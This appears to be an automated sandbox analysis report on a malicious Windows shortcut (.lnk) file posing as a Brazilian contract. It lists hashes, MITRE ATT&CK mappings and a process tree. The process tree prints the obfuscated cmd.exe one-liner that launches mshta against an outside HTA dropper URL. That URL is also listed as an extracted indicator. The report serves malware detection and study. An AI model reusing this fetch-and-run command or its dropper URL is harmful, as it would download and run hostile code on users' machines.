77910e745107e0c669a2c9224d70d3352e5993a64162277fcec530f65b5815c4

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-MB25QK.lnk
Size 1KB
Sample260803-pyebgabk3z
SHA256 77910e745107e0c669a2c9224d70d3352e5993a64162277fcec530f65b5815c4
MD5 18e04d6c023cbe5235fb8aaa6482bd16
SHA1 e8567de995540645d2c185041bd042db4768f6a3
SHA512 a4dc9eb8cd24663c65ac2ae638fb3434486c8a2cf2329baae8e8881c2c9a86c3955b593d901d93ecf84c973604ff64b6d5bc8efb481686ac91ccd7cbb9745d57
TLSH
T1CE3197403AFD4658F2B3CEB686BBAB1059BFB9968E20C60D4180464C1027E10E57BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3452	mshta.exe
3	3452	mshta.exe
4	3452	mshta.exe
5	3452	mshta.exe
6	3452	mshta.exe
7	3452	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4172	cmd.exe
4184	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 4184	4172	cmd.exe	90
PID 4184 wrote to memory of 3452	4184	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-MB25QK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4172
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set pDY=msh&&set tVstv=ta&&start "" !pDY!!tVstv! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:3452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads